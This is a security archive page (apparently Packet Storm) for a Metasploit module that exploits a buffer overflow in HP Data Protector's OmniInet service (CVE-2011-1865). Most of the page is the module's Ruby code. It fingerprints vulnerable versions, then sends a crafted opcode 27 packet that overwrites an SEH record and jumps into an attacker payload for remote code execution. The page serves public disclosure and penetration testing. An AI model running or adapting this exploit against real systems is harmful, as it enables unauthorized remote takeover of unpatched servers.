what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HP OmniInet.exe Opcode 27 Buffer Overflow

HP OmniInet.exe Opcode 27 Buffer Overflow
Posted Jul 2, 2011
Authored by MC | Site metasploit.com

This Metasploit module exploits a buffer overflow in the Hewlett-Packard OmniInet NT Service. By sending a specially crafted opcode 27 packet, a remote attacker may be able to execute arbitrary code.

tags | exploit, remote, overflow, arbitrary
advisories | CVE-2011-1865
SHA-256 | eb9d10b903164f2c90c26f542dab7d1cc131c1e19ce94207df65fcf05ff64db7

HP OmniInet.exe Opcode 27 Buffer Overflow

Change Mirror Download
##
# $Id: hp_omniinet_3.rb 13081 2011-07-01 22:26:12Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'HP OmniInet.exe Opcode 27 Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the Hewlett-Packard
OmniInet NT Service. By sending a specially crafted opcode 27 packet,
a remote attacker may be able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 13081 $',
'References' =>
[
[ 'CVE', '2011-1865' ],
[ 'URL', 'http://www.coresecurity.com/content/HP-Data-Protector-multiple-vulnerabilities' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'HP Data Protector A.06.10 Build 611 / A.06.11 Build 243',
{
#POP/POP/RET from OmniBack\bin\MSVCR71.dll
'Ret' => 0x7c35630d
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 29 2011'))

register_options([Opt::RPORT(5555)], self.class)
end

def check

connect
sock.put(rand_text_alpha_upper(64))
resp = sock.get_once(-1,5)
disconnect

if (resp)
resp = resp.unpack('v*').pack('C*')
print_status("Received response: " + resp)

# extract version
if (resp =~ /HP Data Protector/)
version = resp.split[3]
elsif (resp =~ /HP OpenView Storage Data Protector/)
version = resp.split[5]
elsif (resp =~ /HP StorageWorks Application Recovery Manager/)
version = resp.split[5]
else
return Exploit::CheckCode::Detected
end

version = version.split('.')
major = version[1].to_i
minor = version[2].to_i
if ((major < 6) or (major == 6 and minor < 11))
return Exploit::CheckCode::Vulnerable
end

if ((major > 6) or (major == 6 and minor >= 11))
return Exploit::CheckCode::Safe
end

end
return Exploit::CheckCode::Safe

end

def exploit

connect

trigger = rand_text_alpha_upper(10000)
trigger[4552, payload.encoded.length] = payload.encoded
trigger[5352, 8] = generate_seh_record(target.ret)
trigger[5360, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-788").encode_string

opcode = "27"

packet = Rex::Text.to_unicode("\x00")
packet << "\x27\xca" #length
packet << "\xff\xfe\x32"
packet << "\x00\x00\x00"
packet << Rex::Text.to_unicode("\x20\x61\x00") * 3
packet << Rex::Text.to_unicode("\x20")
packet << trigger
packet << Rex::Text.to_unicode("\x00")
packet << Rex::Text.to_unicode("\x20\x61\x00")
packet << Rex::Text.to_unicode("\x20" + opcode + "\x00")
packet << Rex::Text.to_unicode("\x20\x61\x00") * 24

print_status("Trying #{target.name}...")
sock.put(packet)

select(nil,nil,nil,10)
handler
disconnect

end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close